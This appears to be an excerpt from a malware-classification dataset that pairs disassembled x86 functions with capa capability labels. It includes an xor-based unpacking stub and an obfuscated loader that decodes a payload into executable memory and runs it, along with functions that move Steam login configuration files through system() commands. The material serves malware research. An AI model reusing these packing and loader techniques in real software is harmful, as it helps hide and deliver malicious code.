joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219

Function at 0x4011ac
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x402170
call fcn.004013b8
xor ebx, ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
or edi, 0xffffffff
mov dword [ebp - 4], edi
cmp word [0x400000], 0x5a4d
jne 0x4011ff
mov eax, dword [0x40003c]
lea eax, [eax + 0x400000]
cmp dword [eax], 0x4550
jne 0x4011ff
movzx ecx, word [eax + 0x18]
cmp ecx, 0x10b
je 0x401217
cmp ecx, 0x20b
je 0x401204
mov dword [ebp - 0x1c], ebx
jmp 0x40122b
cmp dword [eax + 0x84], 0xe
jbe 0x4011ff
xor ecx, ecx
cmp dword [eax + 0xf8], ebx
jmp 0x401225
cmp dword [eax + 0x74], 0xe
jbe 0x4011ff
xor ecx, ecx
cmp dword [eax + 0xe8], ebx
setne cl
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 1
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
mov dword [0x403050], edi
mov dword [0x403054], edi
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x40304c]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x403048]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x403058], eax
call fcn.004013b4
cmp dword [0x403038], ebx
jne 0x401288
push fcn.004013b4
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.004013a2
push 0x40208c
push 0x402088
call sub.msvcrt.dll__initterm
mov eax, dword [0x403044]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x403040]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x38], eax
push 0x402084
push 0x402080
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
cmp byte [eax], 0x22
jne 0x401313
inc eax
mov dword [ebp - 0x20], eax
mov cl, byte [eax]
cmp cl, bl
je 0x4012f3
cmp cl, 0x22
jne 0x4012e4
cmp byte [eax], 0x22
jne 0x4012fc
inc eax
mov dword [ebp - 0x20], eax
mov cl, byte [eax]
cmp cl, bl
je 0x401307
cmp cl, 0x20
jbe 0x4012f8
test byte [ebp - 0x54], 1
je 0x40131e
movzx ecx, word [ebp - 0x50]
jmp 0x401321
cmp byte [eax], 0x20
jbe 0x4012fc
inc eax
mov dword [ebp - 0x20], eax
jmp 0x401313
push 0xa
pop ecx
push ecx
push eax
push ebx
push 0x400000
call fcn.00401116
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x40133f
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], edi
jmp 0x40137b
mov eax, esi
jmp 0x40138f
call fcn.004013f3
ret
Function at 0x10005a7a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x10005a89
pop dword [ebp - 0x10]
mov eax, 0x57292b6
sub eax, 0xf572382d
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x33c7b86a
sub dword [ebp - 0x20], 0xe575731f
mov dword [ebp - 0x1c], 0x32dd4d90
add dword [ebp - 0x1c], 0xff55feb5
mov dword [ebp - 0x18], 0x9034f899
sub dword [ebp - 0x18], 0x43e8b46b
mov dword [ebp - 0x14], 0x71c7276b
sub dword [ebp - 0x14], 0x71c7276b
lea eax, [ebp - 0x20]
push eax
mov eax, 0x235ee697
sub eax, 0x135e2673
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x576b105d
add dword [ebp - 0x20], 0x1d0758f9
mov dword [ebp - 0x1c], 0xda8c76e5
add dword [ebp - 0x1c], 0x66dfea90
mov dword [ebp - 0x18], 0x51907b4a
add dword [ebp - 0x18], 0x11def122
mov dword [ebp - 0x14], 0x6ee140ce
sub dword [ebp - 0x14], 0x6ee140ce
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x315e4554
add eax, 0xdea27ad8
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x35c86
push 0
call eax
mov ecx, 0x3765e1ab
add ecx, 0xc89a5d6a
xor edx, edx
add edx, eax
mov ebx, 0x10047400
add ebx, dword [ebp - 0x10]
mov esi, 0xdc5e0a2b
add esi, 0x112886f0
xor dword [ebp - 0xc], 0xa7d749cb
mov edi, dword [ebx]
xor edi, esi
sub dword [ebp - 0xc], 0xa90c4730
mov dword [edx], edi
mov dword [ebp - 0xc], 0x895ed073
add edx, 0xd31c9ffa
add edx, 0x2ce3600a
add ebx, 0x11e13073
sub ebx, 0x11e1306f
loop 0x10005ba7
add eax, 0xf2f39db2
sub eax, 0xf2f2ae8b
xor ebx, ebx
add ebx, eax
add eax, 0xa074d379
add eax, 0x5f8b2c8c
mov ecx, 0x84afac6d
add ecx, 0x8b505393
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x401710
Capabilities:
Execute command

Disassembly:
push 0x68
mov eax, 0x461fe2
call fcn.00461ef6
mov esi, edx
push ecx
mov edx, str.powershell__Command__Expand_Archive__Path__
lea ecx, [ebp - 0x74]
call fcn.00404235
pop ecx
and dword [ebp - 4], 0
mov ecx, eax
push 0x16
push str.___DestinationPath__
call fcn.00403ec8
push eax
lea ecx, [ebp - 0x44]
call fcn.0040397c
xor ebx, ebx
lea edx, [ebp - 0x44]
inc ebx
lea ecx, [ebp - 0x5c]
push esi
mov byte [ebp - 4], bl
call fcn.004042d8
pop ecx
push 0xa
push str.___Force_
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.00403ec8
push eax
lea ecx, [ebp - 0x28]
call fcn.0040397c
lea ecx, [ebp - 0x5c]
call fcn.00403e44
lea ecx, [ebp - 0x44]
call fcn.00403e44
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 6
call fcn.00403e44
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
pop ecx
test eax, eax
je 0x4017c8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_extract_zip_file.
push 0x4041e0
call fcn.0040402f
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor bl, bl
lea ecx, [ebp - 0x28]
call fcn.00403e44
mov al, bl
call fcn.00461eb4
ret
Function at 0x401965
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x130
mov eax, dword [0x477400]
xor eax, esp
mov dword [esp + 0x12c], eax
push esi
push edi
push 0
push 2
mov dword [esp + 0x10], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
jne 0x4019ba
push 0x4041e0
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Failed_to_get_list_of_processes.
call fcn.0040402f
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x4019f0
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x401a06
push 0x4041e0
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Failed_to_get_first_element_in_process_list.
call fcn.0040402f
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [esp + 0x134]
pop edi
pop esi
xor ecx, esp
call fcn.00460a8e
mov esp, ebp
pop ebp
ret
lea edx, [esp + 0x2c]
mov edi, str.steam.exe
xor ecx, ecx
movzx eax, byte [edx + ecx]
cmp al, byte [edi + ecx]
jne 0x401a2d
inc ecx
cmp ecx, 0xa
jne 0x401a11
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
jmp 0x4019f2
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x401a06
jmp 0x4019e9
Function at 0x401b1c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x414
mov eax, dword [0x477400]
xor eax, esp
mov dword [esp + 0x410], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [esp + 0xc], esi
mov dword [esp + 0xc], esi
cmp dword [eax + 0x14], 0xf
push edi
mov edi, dword [ebp + 0xc]
mov dword [esp + 0x10], 0x400
jbe 0x401b5b
mov eax, dword [eax]
lea ecx, [esp + 0x14]
push ecx
push 0x20019
push ebx
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401baa
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Error_opening_registry_key:
push 0x4041e0
push eax
call fcn.0040402f
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x471fc1
mov ecx, esi
call fcn.004039b5
jmp 0x401c29
cmp dword [edi + 0x14], 0xf
jbe 0x401bb2
mov edi, dword [edi]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x1c]
push eax
push ebx
push ebx
push edi
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x401bff
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Error_reading_registry_value:
push 0x4041e0
push eax
call fcn.0040402f
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x401b9c
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov edi, esi
mov ecx, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [esp + 0x10]
dec eax
mov dword [esi + 0x10], ebx
push eax
lea eax, [esp + 0x1c]
mov dword [esi + 0x14], ebx
push eax
call fcn.004044c7
mov ecx, dword [esp + 0x41c]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00460a8e
mov esp, ebp
pop ebp
ret
Function at 0x401e0b
Capabilities:
Execute command

Disassembly:
push 0x70
mov eax, 0x46213c
call fcn.00461ef6
mov esi, ecx
and dword [ebp - 0x34], 0
lea ecx, [ebp - 0x64]
push str._zips
mov edx, esi
call fcn.00404287
pop ecx
and dword [ebp - 4], 0
xor ecx, ecx
inc ecx
mov ebx, ecx
mov dword [ebp - 0x30], ecx
mov ecx, eax
mov dword [ebp - 0x34], ebx
call fcn.00401dca
test al, al
jne 0x401e69
push str.zips
mov edx, esi
lea ecx, [ebp - 0x4c]
call fcn.00404287
pop ecx
push 3
pop ebx
mov ecx, eax
call fcn.00401dca
mov byte [ebp - 0x29], 0
test al, al
je 0x401e6d
mov byte [ebp - 0x29], 1
test bl, 2
je 0x401e7d
lea ecx, [ebp - 0x4c]
and ebx, 0xfffffffd
call fcn.00403e44
or dword [ebp - 4], 0xffffffff
test bl, 1
je 0x401e8e
lea ecx, [ebp - 0x64]
call fcn.00403e44
cmp byte [ebp - 0x29], 0
je 0x401e9b
mov al, 1
jmp 0x401f43
push esi
mov edx, str.mkdir__
lea ecx, [ebp - 0x7c]
call fcn.00404235
pop ecx
push 6
push str.zips_
mov ecx, eax
mov dword [ebp - 4], 1
call fcn.00403ec8
push eax
lea ecx, [ebp - 0x28]
call fcn.0040397c
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 3
call fcn.00403e44
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
pop ecx
push 0x4041e0
test eax, eax
jne 0x401f13
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Folder_zips_created_successfully_in
call fcn.0040402f
mov edx, esi
mov ecx, eax
call fcn.004041ca
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x401f38
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_create_folder_zips_in
call fcn.0040402f
mov edx, esi
mov ecx, eax
call fcn.004041ca
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov byte [ebp - 0x30], 0
lea ecx, [ebp - 0x28]
call fcn.00403e44
mov al, byte [ebp - 0x30]
call fcn.00461eb4
ret
Function at 0x4021bd
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [0x477400]
xor eax, esp
mov dword [esp + 8], eax
cmp dword [edx + 0x14], 0xf
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
jbe 0x4021e2
mov edx, dword [edx]
lea eax, [esp + 0x10]
xor ebx, ebx
push eax
push 0x20006
push ebx
push edx
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x402229
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Error_opening_registry_key:
push 0x4041e0
push eax
call fcn.0040402f
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor al, al
jmp 0x402289
cmp dword [esi + 0x14], 0xf
mov ecx, esi
jbe 0x402233
mov ecx, dword [esi]
cmp dword [edi + 0x14], 0xf
jbe 0x40223b
mov edi, dword [edi]
mov eax, dword [esi + 0x10]
inc eax
push eax
push ecx
push 1
push ebx
push edi
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40227b
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Error_writing_registry_value:
push 0x4041e0
push eax
call fcn.0040402f
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x40227d
mov bl, 1
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00460a8e
mov esp, ebp
pop ebp
ret
Function at 0x402441
Capabilities:
Execute command

Disassembly:
push 0x38
mov eax, 0x462203
call fcn.00461ef6
push ecx
mov esi, 0x472360
lea ecx, [ebp - 0x44]
mov edx, esi
call fcn.00404235
pop ecx
and dword [ebp - 4], 0
xor ebx, ebx
inc ebx
mov ecx, eax
push ebx
push esi
call fcn.00403ec8
push eax
lea ecx, [ebp - 0x28]
call fcn.0040397c
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 2
call fcn.00403e44
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0x28]
mov esi, 0x4041e0
push esi
call fcn.004041ca
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
pop ecx
test eax, eax
je 0x4024d1
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_start_executable.
push esi
call fcn.0040402f
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor bl, bl
lea ecx, [ebp - 0x28]
call fcn.00403e44
mov al, bl
call fcn.00461eb4
ret
Function at 0x4024e1
Capabilities:
Execute command

Disassembly:
push 0x128
mov eax, 0x46229f
call fcn.00461ef6
mov esi, ecx
push str._config_loginusers.vdf
mov edx, esi
lea ecx, [ebp - 0xd4]
call fcn.00404287
pop ecx
and dword [ebp - 4], 0
lea ecx, [ebp - 0x58]
mov edx, eax
call fcn.0040147d
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 2
call fcn.00403e44
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.___Moving_current_config_files_for
push 0x4041e0
call fcn.0040402f
lea edx, [ebp - 0x58]
mov ecx, eax
call fcn.004041ca
mov edx, str._to
mov ecx, eax
call fcn.0040402f
mov edx, esi
mov ecx, eax
call fcn.004041ca
mov edx, str._config_save_
mov ecx, eax
call fcn.0040402f
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ebx, str.move__
lea ecx, [ebp - 0x104]
push esi
mov edx, ebx
call fcn.00404235
pop ecx
push 0x19
push 0x4723f8
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.00403ec8
push eax
lea ecx, [ebp - 0x8c]
call fcn.0040397c
push 1
mov edi, 0x472360
mov byte [ebp - 4], 4
push edi
lea ecx, [ebp - 0x8c]
call fcn.00403ec8
push eax
lea ecx, [ebp - 0x74]
call fcn.0040397c
push esi
lea edx, [ebp - 0x74]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xec]
call fcn.004042d8
pop ecx
push 0x1d
push 0x4723d8
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.00403ec8
push eax
lea ecx, [ebp - 0x40]
call fcn.0040397c
lea ecx, [ebp - 0xec]
call fcn.00403e44
lea ecx, [ebp - 0x74]
call fcn.00403e44
lea ecx, [ebp - 0x8c]
call fcn.00403e44
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 0xb
call fcn.00403e44
push esi
mov edx, ebx
lea ecx, [ebp - 0x134]
call fcn.00404235
pop ecx
push 0x15
push 0x472438
mov ecx, eax
mov byte [ebp - 4], 0xc
call fcn.00403ec8
push eax
lea ecx, [ebp - 0xbc]
call fcn.0040397c
push 1
push edi
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 0xd
call fcn.00403ec8
push eax
lea ecx, [ebp - 0xa4]
call fcn.0040397c
push esi
lea edx, [ebp - 0xa4]
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x11c]
call fcn.004042d8
pop ecx
push 0x19
push 0x47241c
mov ecx, eax
mov byte [ebp - 4], 0xf
call fcn.00403ec8
push eax
lea ecx, [ebp - 0x28]
call fcn.0040397c
lea ecx, [ebp - 0x11c]
call fcn.00403e44
lea ecx, [ebp - 0xa4]
call fcn.00403e44
lea ecx, [ebp - 0xbc]
call fcn.00403e44
lea ecx, [ebp - 0x134]
call fcn.00403e44
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmova eax, dword [ebp - 0x40]
push eax
call esi
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
push eax
call esi
pop ecx
pop ecx
lea ecx, [ebp - 0x28]
call fcn.00403e44
lea ecx, [ebp - 0x40]
call fcn.00403e44
lea ecx, [ebp - 0x58]
call fcn.00403e44
call fcn.00461eb4
ret
Function at 0x402703
Capabilities:
Execute command

Disassembly:
push 0x128
mov eax, 0x46233e
call fcn.00461ef6
mov edi, ecx
mov ebx, str.move__
lea ecx, [ebp - 0xec]
push edi
mov edx, ebx
call fcn.00404235
pop ecx
and dword [ebp - 4], 0
mov ecx, eax
push 0x1e
push str.config_saveloginusers.vdf__
call fcn.00403ec8
push eax
lea ecx, [ebp - 0x8c]
call fcn.0040397c
push 1
mov esi, 0x472360
mov byte [ebp - 4], 1
push esi
lea ecx, [ebp - 0x8c]
call fcn.00403ec8
push eax
lea ecx, [ebp - 0x74]
call fcn.0040397c
push edi
lea edx, [ebp - 0x74]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xd4]
call fcn.004042d8
pop ecx
push 0x18
push str.configloginusers.vdf__
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.00403ec8
push eax
lea ecx, [ebp - 0x40]
call fcn.0040397c
lea ecx, [ebp - 0xd4]
call fcn.00403e44
lea ecx, [ebp - 0x74]
call fcn.00403e44
lea ecx, [ebp - 0x8c]
call fcn.00403e44
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 8
call fcn.00403e44
push edi
mov edx, ebx
lea ecx, [ebp - 0x11c]
call fcn.00404235
pop ecx
push 0x1a
push str.config_saveconfig.vdf__
mov ecx, eax
mov byte [ebp - 4], 9
call fcn.00403ec8
push eax
lea ecx, [ebp - 0xbc]
call fcn.0040397c
push 1
push esi
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 0xa
call fcn.00403ec8
push eax
lea ecx, [ebp - 0xa4]
call fcn.0040397c
mov byte [ebp - 4], 0xb
push edi
lea edx, [ebp - 0xa4]
lea ecx, [ebp - 0x104]
call fcn.004042d8
pop ecx
push 0x14
push str.configconfig.vdf__
mov ecx, eax
mov byte [ebp - 4], 0xc
call fcn.00403ec8
push eax
lea ecx, [ebp - 0x28]
call fcn.0040397c
lea ecx, [ebp - 0x104]
call fcn.00403e44
lea ecx, [ebp - 0xa4]
call fcn.00403e44
lea ecx, [ebp - 0xbc]
call fcn.00403e44
lea ecx, [ebp - 0x11c]
mov byte [ebp - 4], 0x11
call fcn.00403e44
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmova eax, dword [ebp - 0x40]
push eax
call esi
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
push eax
call esi
push str._config_loginusers.vdf
mov edx, edi
lea ecx, [ebp - 0x134]
call fcn.00404287
add esp, 0xc
mov edx, eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x58]
call fcn.0040147d
lea ecx, [ebp - 0x134]
call fcn.00403e44
lea ecx, [ebp - 0x58]
call fcn.00403e44
lea ecx, [ebp - 0x28]
call fcn.00403e44
lea ecx, [ebp - 0x40]
call fcn.00403e44
call fcn.00461eb4
ret